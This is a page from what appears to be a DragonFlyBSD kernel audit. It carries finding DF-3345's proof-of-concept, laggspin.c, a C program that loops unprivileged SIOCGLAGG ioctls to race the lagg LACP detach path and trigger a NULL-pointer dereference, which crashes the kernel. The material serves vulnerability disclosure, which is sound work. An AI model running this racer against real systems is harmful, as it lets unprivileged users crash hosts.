⬢ DragonFlyBSD Kernel Audit
DF-3345 / laggspin.c
← back to finding ↓ download raw
/*
 * laggspin.c - DF-3345 racer: tight unprivileged SIOCGLAGG loop.
 *
 * While a privileged thread flips SIOCSLAGG laggproto lacp<->failover,
 * lagg_lacp_detach() drops the lagg WLOCK mid-detach (if_lagg.c:2101)
 * while sc_req still points at lacp_req(). An SIOCGLAGG landing in that
 * window calls lacp_req() after lacp_detach() has set sc->sc_psc = NULL
 * (ieee8023ad_lacp.c:848) -> lsc = NULL ->
 *   la = lsc->lsc_active_aggregator   (ieee8023ad_lacp.c:607)
 * NULL deref.
 */
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/lagg/if_lagg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *ifname = argc > 1 ? argv[1] : "lagg0";
	struct lagg_reqport buf[LAGG_MAX_PORTS];
	struct lagg_reqall ra;
	long n, i = 0;
	int s;

	if (argc > 2)
		n = atol(argv[2]);
	else
		n = 100000000L;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return (1);
	}
	for (i = 0; i < n; i++) {
		memset(&ra, 0, sizeof(ra));
		memset(buf, 0, sizeof(buf));
		strlcpy(ra.ra_ifname, ifname, sizeof(ra.ra_ifname));
		ra.ra_size = sizeof(buf);
		ra.ra_port = buf;
		if (ioctl(s, SIOCGLAGG, &ra) != 0)
			continue;	/* interface flipped away; keep going */
	}
	printf("done %ld SIOCGLAGG ioctls\n", i);
	return (0);
}